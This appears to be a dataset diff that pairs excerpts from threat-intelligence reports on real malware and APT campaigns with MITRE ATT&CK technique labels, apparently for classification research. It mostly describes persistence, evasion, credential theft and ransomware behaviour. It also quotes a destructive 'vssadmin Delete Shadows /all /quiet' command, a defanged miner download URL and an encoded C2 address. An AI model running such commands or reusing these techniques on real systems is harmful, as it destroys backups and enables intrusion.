+websites visitors have a higher likelihood to be targets of interest) - Add one or more webshell backdoors to victim websites to maintain persistence - Webshell used to add JavaScript developed by OceanLotus into the website - The malicious JavaScript makes calls over HTTP or HTTPS to attacker controlled domains to typically load one of two different OceanLotus frameworks - OceanLotus JavaScript frameworks designed to track, profile, and target the compromised website's visitors - Website visitors of interest are flagged for targeting and receive special JavaScript aimed at compromising the user's system or e-mail accounts	['T1071.001']
+Following a series of denial-of-service attacks and website defacements, the new destructive malware corrupts the master boot record (MBR), partition and file system of all available physical drives on Windows machines	['T1561.002']
+On October 31, TA505 sent two campaigns, both using .lnk files embedded in Microsoft Word documents. As shown in Figure 4, recipients must open the attached Word document, enable editing, and then execute the .lnk file by double clicking an image in the document. They must further confirm that they want to open the .lnk file (Figure 5), which, in turn, downloads an intermediate downloader. Despite the number of steps involved, TA505 relies on light social engineering in the email and lure as well as end user conditioning to proceed through the scheme and infect their PC with malware	['T1204.002']
+UNC2465 used phishing emails and legitimate services to deliver the SMOKEDHAM backdoor. SMOKEDHAM is a .NET backdoor that supports keylogging, taking screenshots, and executing arbitrary .NET commands. During one incident, the threat actor appeared to establish a line of communication with the victim before sending a malicious Google Drive link delivering an archive containing an LNK downloader. More recent UNC2465 emails have used Dropbox links with a ZIP archive containing malicious LNK files that, when executed, would ultimately lead to SMOKEDHAM being downloaded onto the system. UNC2465 has used Advanced IP Scanner, BLOODHOUND, and RDP for internal reconnaissance and lateral movement activities within victim environments. The threat actor has used Mimikatz for credential harvesting to escalate privileges in the victim network. UNC2465 also uses the publicly available NGROK utility to bypass firewalls and expose remote desktop service ports, like RDP and WinRM, to the open internet. Mandiant has observed the threat actor using PsExec and cron jobs to deploy the DARKSIDE ransomware. UNC2465 has called the customer support lines of victims and told them that data was stolen and instructed them to follow the link in the ransom note	['T1102']
+The execution of the Powershell that is passed to IEX by the Stage 1 Word document is where we begin to observe several interesting activities occurring on an infected system. One is used to determine whether or not to achieve persistence for the next stage of the infection process on the target system. If persistence is selected the other switch defines whether or not the Stage 3 code should be executed once it is staged. If the option to achieve persistence was selected when the 'pre_logic' function was called, the function will then query the infected system to determine how to best achieve persistence. Depending on the access rights of the user account within which the malware is operating, the malware will then query registry paths that are commonly used by malware to achieve persistence. If operating under an account with Administrator access to the system the script will query and set	['T1547.001']
+While operating in the victim’s internal network, the threat actor accessed sensitive information specific to the products and services that the victim organization provided. This information included items such as product/service architecture and design documents, vulnerabilities and step-by-step instructions to perform various tasks. Additionally, the threat actor viewed pages related to internal business operations such as development schedules and points of contact	['T1213']
+All observed attacks start with an email message, containing either a malicious attachment or a URL which leads to the first stage of the attack. The text of the emails is likely taken from legitimate email, such as mailing lists that targeted organisations may be subscribed to. Below are three examples, with the first one purporting to be sent by the European Banking Federation and is using a newly registered domain for the spoofed sender email address. The attachment is a malicious PDF file that entices the user to click on a URL to download and open a weaponized RTF file containing exploits for CVE-2017-11882, CVE-2017-8570 and CVE-2018-8174. This campaign contains a URL, which points to a malicious Word document where the infection chain is triggered by the user allowing the VBA macro code to run. Observed email campaign 2 The third campaign, sent on July 10, is a more personal campaign that targets a variety of businesses. The subject indicates that this is a complaint about problems with services provided by the target company, allegedly listed in an attached document. The attachment is an RTF document containing exploits that start the chain of several infection stages until the final executable payload is downloaded and loaded in the memory of the infected system. All emails lead to stage 1 of the attack chain. Observed email campaign 3	['T1204.002']
+The batch files involved in the attack modify the system service COMSysApp to load the malicious ipnet.dll. The contents of the batch files vary depending on the OS (x64 vs x86	['T1543.003']
+While the image is displayed, the code drops an unusual mspaint.lnk shortcut to disk and launches it. The shortcut maintains a multiline target shell script. The 64kb lnk file is downloader code	['T1547.009', 'T1059.003']
+This spyware registers itself as a system service to ensure its automatic execution at every system startup by adding the following registry entries	['T1543.003']
+As has been previously reported, there are two variants of the trojan TinkaOTP. The version that has received the most attention contains the malware payload in the application bundle’s Resources folder. The file is a Mach-O binary disguised as a .nib file, at ../Resources/Base.lproj/Submenu.nib. This file is copied directly to the users Library folder and renamed as .mina. The dot prefix is added in order to make it invisible in the Finder	['T1564.001']
+At the beginning of 2017, Silent Librarian began to regularly obtain free Let’s Encrypt SSL certificates for their phishing pages. This technique, which we have previous discussed at length in blog posts from November and December, is used to create more realistic-looking phishing pages	['T1588.004']
+The group appears to maintain a stockpile of stolen certificates and deploys their downloaders and the backdoors signed with them. Some of the more recent revoked certificates include ones that belong to Xuchang Hongguang Technology Co	['T1553.002']
+Lucifer also checks for the presence of following device drivers, DLLs, and virtual devices. If any of these objects are detected, the malware enters an infinite loop, stopping its execution from going further	['T1497.001']
+If so, it stops the execution and deletes the folder containing the malicious script from this machine. Download the malicious files onto the machine: the same batch file downloads a cab archive named env.cab from a remote address in the internal network: \\railways.ir\sysvol\railways.ir\scripts\env.cab. The use of specific hostnames and internal paths indicates the attacker had prior knowledge of the environment. It moves wiper-related files to “C:\temp” and creates a scheduled task named mstask to execute the wiper only once at 23:55:00	['T1562.001']
+The HTTP mode is the same communication method used in variants of the malware from 2018. Although it uses the non-encrypted HTTP protocol to communicate with the C2 it manually encrypts the contents of the requests to hide data from packet inspection. The malware creates an AES session key and initial value (as detailed in Appendix C) which are base64 encoded, appended to each other with a \n separator. Once appended, it is further encrypted with a hardcoded RSA public key and base64 encoded again and obfuscated before being sent to the C2 as the body of a POST request	['T1573.001']
+BBSRAT accepts many possible commands that the C2 server can provide. These commands are sent as a response to the GET beacons that are continually requested via either HTTP or HTTPS. The following commands and sub-commands have been identified	['T1071.001']
+This watchdog process also ensures that the Cardinal RAT process is always running, as well as ensures that the executable is located in the correct path. Should either of these conditions not be met, the watchdog process will spawn a new instance of Cardinal RAT, or write Cardinal RAT to the correct location, respectively	['T1057']
+The REvil (also known as Sodinokibi) ransomware was first identified on April 17, 2019. It is used by the financially motivated GOLD SOUTHFIELD threat group, which distributes ransomware via exploit kits, scan-and-exploit techniques, RDP servers, and backdoored software installers. Secureworks® Counter Threat Unit™ (CTU) analysis suggests that REvil is likely associated with the GandCrab ransomware due to similar code and the emergence of REvil as GandCrab activity declined. CTU™ researchers attribute GandCrab to the GOLD GARDEN threat group	['T1195.002']
+In one intrusion, the first second-stage custom loader (TEARDROP) was introduced to the environment by BusinessLayerHost.exe at around 10:00 AM UTC. 7z.dll), Far Manager (e.g. The Variant 2 custom loaders were mostly compiled from open-source source code of legitimate applications, such as 7-Zip and Far Manager (i.e. the open-source source code for these applications was modified to add in the malicious code). In some instances, certain development artifacts were left behind in the custom loader samples. For example, the following C++ header (.hpp) path was observed in a loader compiled from a modified Far Manager open-source source code (c:\build\workspace\cobalt_cryptor_far (dev071)\farmanager\far\platform.concurrency.hpp	['T1036']
+KernelCallbackTable is initialized to an array of callback functions when user32.dll is loaded into memory, which are used whenever a graphical call (GDI) is made by the process. To hijack the control flow, malware replaces the USER32. _fnDWORD callback in the table with the malicious WMIsAvailableOffline function. Once the flow is hijacked and malicious code is executed the rest of the code takes care of restoring the KernelCallbackTable to its original state	['T1070']
+In this case, repotaj.dll, which is ServHelper, will be extracted to %TEMP% and execute with the “feast” parameter as its export function. Once ServHelper is executed, it runs a PowerShell script to get information from the infected machine	['T1059.001']
+The malware tries to delete the shadow copies two times, once before crypting the files in the infected system and secondly after crypting them	['T1490']
+Apart from being a flexible and easy-to-use scripting language, BLADABINDI’s use of AutoIt is notable. It uses AutoIt (the FileInstall command) to compile the payload and the main script into a single executable, which can make the payload — the backdoor — difficult to detect	['T1027.004']
+DEATHRANSOM creates an RSA-2048 public and private key pair. The shared secret is SHA256 hashed and used as the key to Salsa20 encrypt the RSA public and private keys. The RSA public key is used to encrypt the individual symmetric keys that are used to encrypt each file. A Base64 encoded version of the encrypted RSA keys and the victim’s Curve25519 public key is included in the ransom note, providing the threat actors the information needed to decrypt the victim's files. For the symmetric key, DEATHRANSOM calls RtlGenRandom to generate 32 random bytes. This is the 32 byte key used to AES encrypt each file. After the file is encrypted, the AES key is encrypted with the public RSA key and appended to the file. DEATHRANSOM lastly appends the four magic bytes of AB CD EF AB at the end of the encrypted file and uses this as a check to ensure that it does not encrypt an already encrypted file. The analyzed DEATHRANSOM sample used for comparison does not change the file extension	['T1486']
+The final stage, however, is a dotnet application that takes several commands such as directory listing, screenshot, compress, upload, etc. It then creates random long string folder names in temp directories to host the collected files per category before compressing, encrypting and uploading to the C2 server	['T1074.001']
+In an uninhibited Emotet infection, it’s likely the malware would have then attempted to move laterally to other machines in the environment. Malwarebytes has some good analyses of Emotet if you’re looking for further reading	['T1210']
+Another interesting artefact is that the script modifies the modification, access and creation (MAC) times of the local log file to match the times of a legitimate file – desktop.ini in that example, as shown in Figure 13	['T1070.006']
+infpub.dat appears to be capable of brute-forcing NTLM login credentials to Windows machines that have pseudo-random IP addresses	['T1110.003']
+The code of this module is loaded directly into the exploited application and has several methods of payload execution. One of method uses a very interesting technique of payload execution which is designed mostly to bypass modern anti-malware products. This uses an interesting bug in the Windows DDE component. It is not a secret that anti-malware systems trigger on special system functions that are called in the context of potential vulnerable applications to make a deeper analysis of API calls such as CreateProcess, WinExec or ShellExecute	['T1189']
+Although tracking threats like Winnti involves old-fashioned investigative work, Microsoft Threat Intelligence analysts take advantage of machine learning to work at scale. When attackers used Winnti to maintain access to web servers, they hid the implant in plain sight by masquerading it as a trusted, legitimate file	['T1036.005']
+The attackers are using a tool with name plainpwd in order to dump Windows credentials from memory. This tool is a slightly modified version of the open-source project mimikatz	['T1003.001']
+So attackers specify an external C&C server in the command line and the tool connects to this server using HTTP. This remote server is used as a proxy by attackers: the connection that goes to this server is redirected to the internal network by the tool and any response that the tool gets from a computer in the internal network goes to the C&C server. Thus, attackers can communicate with internal servers that are normally unreachable from the internet	['T1090']
+IronNetInjector is made of an IronPython script that contains a .NET injector and one or more payloads. The payloads can be also .NET assemblies (x86/64) or native PEs (x86/64). When an IronPython script is run, the .NET injector gets loaded, which in turn injects the payload(s) into its own or a remote process	['T1055']
+Prior to executing fully, Karagany uses a robust anti-VM detection function that can detect most commonly used virtualization platforms such as VMWare, VirtualBox, VPC, and generic virtualization techniques. Only the VMWare and VirtualBox checks retained, mainly based on loaded drivers and file paths. This change dramatically reduced the file size of the malware	['T1497.001']
+Next, the dropper checks its own parent process for indications that it is running in a sandbox setup. It calculates the MD5 hash of the lower-case process image name and terminates if one of the following conditions are met	['T1057']
+As with other versions of Winnti, the core component of the malware doesn’t natively provide the operators with distinct functionality⁸. This component is primarily designed to handle communications and the deployment of modules directly from the command-and-control servers. However, prior reporting⁹ suggests that the operators commonly deploy plugins for remote command execution, file exfiltration, and socks5 proxying on the infected host. We expect similar functionality to be leveraged via additional modules for Linux	['T1105']
+In the third phase of the operation, the attackers harvested credentials stored on the compromised machines and performed lateral movement and infected new machines. The attackers also introduced a very rare and stealthy technique to communicate with their servers and exfiltrate data using Microsoft Outlook	['T1027']
+The crypter mainly contains junk code to increase entropy of the sample and hide the actual code. We have found 2 crypter variants with some code differences, but mostly with the same logic applied	['T1027.001']
+In this section, we describe how the various payloads are delivered based on what we have seen in our customer networks, as well as what we have established through open-source research. Unit 42 has yet to see any evidence of weaponized documents used to deliver BackConfig being attached on phishing emails and that phishing URL links in emails appear to be the Hangover group’s modus operandi	['T1566.002']
+The updated module is called tvncDLL and allows the threat actor to monitor the victim and collect information that would enable pivoting to valuable systems on the network	['T1021.005']
+The operators used the HyperBro Trojan as their last-stage in-memory remote administration tool (RAT). The timestamps for these modules are from December 2017 until January 2018. The anti-detection launcher and decompressor make extensive use of Metasploit’s shikata_ga_nai encoder as well as LZNT1 compression	['T1027']
+For readers unaware of ngrok, this site is a simple reverse proxy used to let Internet-based users connect to servers located behind firewalls or on local machines that don't have a public IP address	['T1090']
+At this stage the malware disables the Windows screen saver, then changes both the desktop wallpaper and the lock screen images to a custom image. These are the pair of identical JPEG and BMP images presenting the logo of Iran’s Railways and the message similar to the one displayed on the platform boards of different railway stations in Iran	['T1491.001']
+Actors have downloaded POWERTRICK, Metasploit Meterpreter, and Cobalt Strike BEACON payloads following the initial compromise. BEACON payloads have commonly been executed after moving laterally to new hosts within the victim network. The attackers have employed Cobalt Strike payloads crafted to maintain persistence through reboot via a scheduled task on critical systems in victim environments. We have observed actors executing encoded PowerShell commands that ultimately executed instances of the PowerShell EMPIRE backdoor. In at least once case, attackers have maintained access to a victim environment using stolen credentials to access corporate VPN infrastructure configured to require only single-factor authentication	['T1059.001']
+Initially the Cobalt group focused on jackpotting ATMs: they launched a program that sent commands directly to the dispenser to issue cash. Network penetration In all cases investigated by Group-IB, the Cobalt group used a set of spear phishing emails to gain initial access to the corporate infrastructure. However, some of the email addresses belong to employees that no longer work at the organization, which means that the Cobalt group likely uses out-of-date mailing lists. Each message contains an attachment that loads the payload – part of Cobalt Strike software – to the computer's operating memory. In order to make this download possible, attackers have tried several different formats of attachments and emails, as their primary task is to bypass mail filters, protection measures, and the company's security policy. 3 Example of a message with an executable attachment (.exe) The archive is password-protected in order to bypass anti-virus scans, security systems, and mail filters. However, when there is use of a security policy that prohibits the transfer of encrypted archives, such an email message may be blocked, so the attackers would send .doc files that contain exploits for Microsoft Office (fig. For organizations that perform timely updates of their systems and adhere to strict security policies, the Cobalt group employs another method to deliver malicious code through emails with Word documents containing a malicious macro. 6 Example of a message sent by attackers from a domain whose name is similar to the name of a real domain . As soon as the attachment is launched and the malicious code is executed, the Cobalt Strike payload is loaded in the memory. Provision of the malware survivability The Cobalt group uses different methods to ensure malware survivability on corporate networks	['T1566.001']
+Both masscan and pnscan have been used before by TeamTNT actors. However, the addition of zgrab, a GoLang network scanner, marks the first time that a GoLang tool has been witnessed incorporated into TeamTNT’s TTPs. There was also an update to the masscan network scanner operation to include searching for TCP port 5555. This could indicate a new unknown target set for expanding TeamTNT cryptojacking operations. However, there is little evidence to support TeamTNT targeting Android devices	['T1046']
+The attackers execute several Base64-encoded PowerShell commands in order to determine if the infected machine’s user is in the admin or domain admin group	['T1087.002']
+The “pc” binary checks whether the infected system’s OS is Debian or RHEL/CentOS. Its routine, which involves dropping the cryptocurrency miner and other components, depends on OS. For Debian-based systems, it drops the cryptocurrency miner payload to /tmp/miner2. For CentOS/RHEL systems, it will download a tar (tape archive) file from the URL, hxxp://pm[.]ipfswallet[.]tk/cos7[.]tar[.]gz, containing the cryptocurrency miner and its multiple components, which is unpacked and then installed	['T1082']
+The injected payload is known as Cobalt Strike Beacon and can be used to execute commands, inject other processes, elevate current processes or impersonate other processes, and upload and download files. The Get-NetComputer command from PowerView is renamed by the attackers to a random name	['T1018']
+Once unpacked, the malware creates a copy of its own process with a suspended thread and injects the unpacked code into the new process before calling the ResumeThread API. Breaking on this function call in a debugger allows an analyst to dump the process and extract the unpacked Karagany binary for further analysis	['T1055.003']
+After that, stage 2 payloads are still retrieved as Bitmap (BMP) images that use Least Significant Bit (LSB) Steganography to hide the real payloads. These images appear normal in image viewers	['T1001.002']
+It also uses “ActiveXObject” utility to help in its execution through Microsoft products and internet browsers. The ActiveXObject object is used to create instances of OLE Automation objects in Internet Explorer on Windows operating systems. Several applications (Microsoft Office Word, Microsoft Office Excel, Windows Media Player, etc) provide OLE Automation objects to allow communication with them	['T1559.002']
+h) It also uses “ActiveXObject” utility to help in its execution through Microsoft products and internet browsers. The ActiveXObject object is used to create instances of OLE Automation objects in Internet Explorer on Windows operating systems. Several applications (Microsoft Office Word, Microsoft Office Excel, Windows Media Player, etc) provide OLE Automation objects to allow communication with them	['T1559.002']
+With the above done, the malware logs off all users and executes a small program — a “locker” — in a new thread. The path to the locker file named mssetup.exe is retrieved from the configuration. Finally, before moving to its main cause — wiping the system — the malware creates a scheduled task that assures its own persistence in the system. The scheduled task will be executed every time the system starts	['T1053.005']
+Malware uses xor key [0x09, 0xff, 0x20] to decrypt content in .data section and get string “aHR0cDovLzUxLjE1LjE5Ni4zMC8xL2luZGV4LnBocA”. Then malware does base64 decoding to get the C2 address	['T1140']
+Activation of these hooks is done by Ebury injecting its dynamic library into every descendant processes of sshd. To inject itself into subprocesses, Ebury hooks execve and use the dynamic linker LD_PRELOAD variable. Every time a new process is created, Ebury adds LD_PRELOAD=<Ebury_filename> to its environment. Once the new process is executed, Ebury’s dynamic library is loaded and its constructor is called, executing the hooking routines	['T1574.006']
+One of the credential theft techniques identified by CrowdStrike was the use of a PowerShell script to execute Mimikatz in-memory. While in-memory Mimikatz is not particularly unique, the script executed by the threat actor was heavily obfuscated and encrypted the output using AES256. CrowdStrike was able to reconstruct the PowerShell script from the PowerShell Operational event log as the script’s execution was logged automatically due to the use of specific keywords. CrowdStrike recommends that organizations upgrade PowerShell on their systems, as this functionality is only available with PowerShell version 5 and above	['T1059.001']
+Once the user enters the targeted website, the attacker is notified and can take over the device remotely. As the victim accesses their online banking account, the attacker can display full-screen overlay images (hence the name “remote overlay”) designed to appear like they are part of the bank’s website. These pages can either block the victim’s access to the site, allowing the attacker to move money after initial authentication, or include additional data fields that the user is prompted to fill out	['T1185']
+Each of these weaponized documents used the same tactic for their attacks. Upon opening the document, it leveraged the ability of Microsoft Word to retrieve a remote template to then load a malicious macro document as seen in Figure 4	['T1221']
+Daserf also uses file and folder names related to legitimate programs often found in Windows environments in order to blend in. Observed folder names include HP, Intel, Adobe, and perflogs and folders are generally created in either the root drive or the Application Data or Program Files folders. File names used in recent attacks include adobe.exe, adobe_sl.exe, intel.exe, and intellog.exe	['T1036.005']
+Microsoft has been monitoring these attacks and notifying targeted customers for several months, but only recently reached a point in our investigation where we can attribute the activity to Strontium with high confidence. MSTIC’s investigation revealed that Strontium has evolved its tactics since the 2016 election to include new reconnaissance tools and new techniques to obfuscate their operations. In recent months, it has engaged in brute force attacks and password spray, two tactics that have likely allowed them to automate aspects of their operations. Strontium also disguised these credential harvesting attacks in new ways, running them through more than 1,000 constantly rotating IP addresses, many associated with the Tor anonymizing service. Strontium even evolved its infrastructure over time, adding and removing about 20 IPs per day to further mask its activity	['T1110.003']
+Apart from targeting Gmail users, Pawn Storm has also abused OAuth in credential phishing attacks against high profile Yahoo users. Here is an example from 2015 where “McAfee Email Protection” is offered	['T1528']
+Daserf — This backdoor has the functionality of a remote shell and can be used to execute commands, upload and download data, capture screenshots, and log keystrokes. As of this publication, BRONZE BUTLER demonstrates a preference for concurrently using Datper and xxmm in its operations. T-SMB Scan — This SMB scanning tool was originally published on a Chinese program-sharing website (pudn.com). BRONZE BUTLER removed its help message functionality. Use malware to upload the large list of enumerated files to the C2 server. Select specific files to steal, creating a new list. Use downloaders or other malware to send the new list to a compromised host. Use archiving software to collect files in a password-protected archive. Use an uploader or other malware to send the archived files to an attacker-controlled server. The uploader software is proprietary to this group, but Datper and xxmm also contain an uploading feature. Search proxy log files for evidence of web server scanning using the URL patterns associated with BRONZE BUTLER activity	['T1083']
+an extra executable; - process hollowing shellcode; - a list of predefined executable names, which the malware uses as a future process name	['T1055.012']
+"ISMAgent prioritizes HTTP as its mechanism to communicate with the C2 server, but if it is unable to reach the C2 server it will switch to the DNS tunneling mechanism. To carry out its HTTP C2 communications, the Trojan prepends ""www. to the configured C2 domain and issues a DNS query to resolve this domain"	['T1008']
+Last week, Unit 42 released a blog on a newly named threat group called DarkHydrus that we observed targeting government entities in the Middle East. The attack that we discussed in our previous publication involved spear-phishing to deliver a PowerShell payload we call RogueRobin; however, we are aware of DarkHydrus carrying out a credential harvesting attack in June 2018. It also appears that this an ongoing campaign, as we have evidence of previous credential harvesting attempts using the same infrastructure dating back to the Fall of 2017. The credential harvesting attacks used spear-phishing emails that contained malicious Microsoft Office documents that leveraged the “attachedTemplate” technique to load a template from a remote server. When attempting to load this remote template, Microsoft Office will display an authentication dialog box to ask the user to provide login credentials. When entered, these credentials are then sent to the C2 server, which allows DarkHydrus to collect the user account credentials. Based on Unit 42’s analysis, DarkHydrus used the open-source Phishery tool to create two of the known Word documents used in these credential harvesting attacks. As discussed in our previous blog, this further strengthens DarkHydrus’ use of the open source for their attack tools. A phishing attack to steal credentials like this is not new: US-CERT warned of the same technique by a different threat group in 2017. Based on this, we can reasonably presume this group will continue to carry out attacks against these kinds of targets in the Middle East in the near-future	['T1566.001']
+The instance of Warzone we trapped has the ability to bypass UAC on the latest version of Windows 10. In this blog we’re going to talk about the XLS used as the attack vector and the UAC bypass technique used	['T1548.002']
+Aside from security programs and other programs used daily that can be used to profile its targets, the DUBNIUM malware also checks for various program analysis tools including Pin and DynamoRIO. It also checks for a virtual machine environment. If some of these are detected, it quits its execution. Overall, the malware is very cautious and deterministic in running its main code	['T1497.001']
+SMOKEDHAM communicates with its C2 server using HTTPS. The backdoor uses domain fronting to obfuscate its true C2 server. The fronted domain is configured by an earlier stage of execution and the actual domain is hard-coded in the backdoor. Mandiant observed the fronted domain lumiahelptipsmscdnqa.microsoft[.]com and hard-coded domain max-ghoster1.azureedge[.]net used for C2 server communication	['T1090.004']
+The Leeson, Neoichor, and NumbIdea malware families typically use the Internet Explorer (IE) COM interface to connect and receive commands from hardcoded C2 servers	['T1559.001']
+To deliver the malware to the victim machines, the Rocke group exploits vulnerabilities in Apache Struts 2, Oracle WebLogic, and Adobe ColdFusion. For example, by exploiting Oracle WebLogic vulnerability CVE-2017-10271 in Linux shown in Figure 1, a compromised Linux victim machine downloads backdoor 0720.bin and opens a shell	['T1190']
+This version includes the stealer features mentioned in the previous version and additionally Remote Administration Tool features such as file uploading/download and arbitrary command execution. An interesting element is that the malware looks for filenames created with the previous version of KONNI. This implies that the malware targeted the same people as the previous version and they are designed to work together	['T1083']
+In the period between January and March 2017 the TeleBots attackers compromised a software company in Ukraine (not related to M.E. Doc), and, using VPN tunnels from there, gained access to the internal networks of several financial institutions	['T1133']
+The malware displays fake forms on top of the banking sites and intercepts credentials from the victims. It can also display a fake Windows Update whenever there is nefarious activity in the background, as seen in Figure 23	['T1056.002']
+Zlh.exe is a legitimate, signed Norman Safeground AS application, which is used to sideload a malicious nflogger.dll DLL.The encrypted ZeroT payload is usually named NO.2.mui. The sideloaded DLL does not always use the same vulnerable executable, but it is always similar in functionality. Usually the DLL is not packed, but we have observed instances compressed by UPX. This malicious DLL is usually obfuscated with the same junk code: dummy API calls inserted in between real instructions (Fig. 7). The same obfuscation can be found in multiple functions in ZeroT itself	['T1027.001']
+TA505 has also recently used LOLbins and legitimate Windows OS processes to perform malicious activities and deliver a payload without being detected. As the entry point of an attack, it delivers a sophisticated email containing a malicious Excel or Word file. The group notably abuses Excel 4.0 macro — a particularly old macro likely used to evade typical macro detection	['T1204.002']
+During one investigation, APT32 was observed using a privilege escalation exploit (CVE-2016-7255) masquerading as a Windows hotfix. In another investigation, APT32 compromised the McAfee ePO infrastructure to distribute their malware as a software deployment task in which all systems pulled the payload from the ePO server using the proprietary SPIPE protocol. APT32 also used hidden or non-printing characters to help visually camouflage their malware on a system. For example, APT32 installed one backdoor as a persistent service with a legitimate service name that had a Unicode no-break space character appended to it. Another backdoor used an otherwise legitimate DLL filename padded with a non-printing OS command control code	['T1027', 'T1036.004']
+The attackers also ran the nmap utility on the router VM and scanned ports on systems within the restricted segment of the enterprise network. On September 27, the attackers started removing all traces of their activity from the router, using the logrotate utility to set up automatic deletion of log files	['T1070.003', 'T1046']
+PipeMon is a modular backdoor where each module is a single DLL exporting a function called IntelLoader and is loaded using a reflective loading technique. Each module exhibits different functionalities that are shown in Table 2	['T1129']
+The next step after installing the malicious service would be to set up tunnels to access to the infected machine from remote hosts, for example using the following command	['T1090']
+Turla, also known as Snake, is an infamous espionage group recognized for its complex malware. To confound detection, its operators recently started using PowerShell scripts that provide direct, in-memory loading and execution of malware executables and libraries. This allows them to bypass detection that can trigger when a malicious executable is dropped on disk	['T1059.001']
+Four files tested in 2014 are based on the open-source project, cryptcat. Analysis of these cryptcat binaries indicates that the actor continually modified them to decrease AV detection rates. One of these files was deployed in a TEMP.Veles target’s network. The compiled version with the least detections was later re-tested in 2017 and deployed less than a week later during TEMP.Veles activities in the target environment. TEMP.Veles’ lateral movement activities used a publicly-available PowerShell-based tool, WMImplant. On multiple dates in 2017, TEMP.Veles struggled to execute this utility on multiple victim systems, potentially due to AV detection. Four files tested in 2014 are based on the open-source project, cryptcat. Analysis of these cryptcat binaries indicates that the actor continually modified them to decrease AV detection rates. One of these files was deployed in a TEMP.Veles target’s network. On multiple dates in 2017, TEMP.Veles struggled to execute this utility on multiple victim systems, potentially due to AV detection	['T1027.005']
+The stage’s 0x102 resource is parsed and the files are dropped in either %ProgramFiles% or %AppData% in the randomly chosen folder. The creation times are changed to have the same values as kernel32.dll	['T1070.006']
+Central Command network, including computers both in the headquarters and in the combat zones.The threat involved into this incident is referred as Agent.btz. There is even a clash with another threat that is also detected as Agent.btz by another vendor – but that's a totally different threat with different functionality. When loaded, its exported function DllEntryPoint() will be called automatically. Once a removable disk is connected to a computer infected with Agent.btz, the active malware will detect a newly recognized drive. It will drop its copy on it and it will create autorun.inf file with an instruction to run that file. Agent.btz file is not packed. Thus, it’s not known what kind of code could have been injected into the browser process. Agent.btz locates this resource by looking for a marker 0xAA45F6F9 in its memory map.File wmcache.nldThe second spawned thread will wait for 10 seconds. The collected network details are also saved into the log file.File winview.ocxThe second spawned thread will log threat activity into the file %system32%\winview.ocx.This file is also encrypted with the same XOR mask. Note: an attempt to run a valid thumb.db file, which is an OLE-type container has no effect.Files thumb.dd and mssysmgr.ocxAgent.btz is capable to create a binary file thumb.dd on a newly connected drive	['T1091']
+The last retrieved module is a persistence module. If the victim appears valuable to the attackers, a GRIFFON implant installer is pushed to the victim’s workstation. This module stores another instance of the GRIFFON implant inside the registry to achieve persistence. Here is a PowerLinks-style method used by the attackers to achieve persistence and execute the GRIFFON implant at each user logon. The new GRIFFON implant is written to the hard drive before each execution, limiting the “file-less” aspect of this method	['T1547.001']
+Another interesting discovery was a tool that was used during attacks to make queries to Active Directory using LDAP. This tool is able to dump detailed information about computers and usernames listed in Active Directory, and is tailored for a specific victim’s domain	['T1018', 'T1087.002']
+The attackers then created scheduled tasks that would launch the ransomware with names based on variants of Windows Update Security or Windows Update Security Patches	['T1053.005']
+Mouse position: Darkhotel repeatedly checks for the position of the mouse cursor on the screen. If the cursor remains at the center of the desktop, it is unlikely that a real user is using the system. Because of this, most sandboxes periodically move the mouse cursor or perform some other type of interaction with the desktop	['T1497.002']
+In what appears to be a first on the cyber-espionage scene, a nation-state-backed hacking group has used a Google Chrome extension to infect victims and steal passwords and cookies from their browsers	['T1176', 'T1555.003']
+The Python/TeleBot malware uses exactly the same approach; the Python backdoor code is obfuscated and packed into a standalone executable using PyInstaller. In addition, the Python code is ROT13 encoded, AES encrypted, compressed using zlib library and then Base64 encoded	['T1027']
+But what really makes this backdoor interesting is the way in which it communicates with attackers in order to receive commands. Python/TeleBot abuses the Telegram Bot API from Telegram Messenger to communicate with the attackers. We have informed Telegram of this abuse of their communication platform	['T1102.002']
+The shellcode loaded by the macro contains an encrypted DLL which is decrypted at runtime and then manually mapped into memory by the shellcode. After mapping the DLL, the shellcode jumps to the entry point of that DLL. The shellcode uses some kind of custom hashing method to resolve the APIs. We used hollows_hunter to dump the DLL and reconstruct the IAT once it is fully mapped into memory	['T1140', 'T1620']
+It imports the specified Active Directory database NTDS.dit and registry file SYSTEM and exports the found password hashes into RecordedTV_pdump.txt and user details in RecordedTV_users.csv	['T1003.003']
+The malware accomplishes this through querying the netsvc group value data located in the svchost group registry key which is HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost	['T1012']
+In most of the samples collected by the CTU research team, Sakula maintains persistence by setting the registry Run key (SOFTWARE\Microsoft\Windows\CurrentVersion\Run\) in either the HKLM or HKCU hive. Through 2013, registry persistence was set using standard Windows APIs. In the samples compiled in 2014, the adversary switched to adding the Run key by invoking cmd.exe	['T1547.001']
+Delete the shadow volumes with vssadmin (“vssadmin Delete Shadows /all /quiet”). - Resize the shadow storage for all units starting from C to H units’ letters (hardcoded letters) to avoid the shadow volumes being made again. Using bcedit program to disable the recovery options in the boot of the machine and set to ignore any failure in the boot warning the user	['T1490']
+The plugin is a Mimikatz version compiled in the Second_Release_PowerShell configuration. This version can be loaded into the address space of a PowerShell process via reflective DLL loading as implemented in the Exfiltration module of PowerSploit	['T1055.001']
+It also has some basic anti-sandbox detection that tries to detect Virtual PC, Sandboxie, and VMware (example in Figure 6	['T1497.001']
+When Xbash finds a destination has Hadoop, Redis or ActiveMQ running, it will also attempt to exploit the service for self-propagation. Three known vulnerabilities are targeted	['T1203']
+RunningRat is a remote access Trojan (RAT) that operates with two DLLs. This DLL serves three main functions: killing antimalware, unpacking and executing the main RAT DLL, and obtaining persistence. The malware drops the Windows batch file dx.bat, which attempts to kill the task daumcleaner.exe; a Korean security program. The batch file then attempts to remove itself	['T1059.003']
+A tool used by the adversary which wasn’t installed on the servers by default, was DSInternals. DSInternals is a PowerShell module that makes use of internal Active Directory features. The files and directories found on various systems of a victim match with DSInternals version 2.16.1. We have found traces that indicate DSInternals was executed and at which time, which match with the rest of the traces of the intrusion. We haven’t recovered traces of how the adversary used DSInternals, but considering the phase of the intrusion the adversary used the tool, it is likely they used it for either account discovery or privilege escalation, or both	['T1059.001']
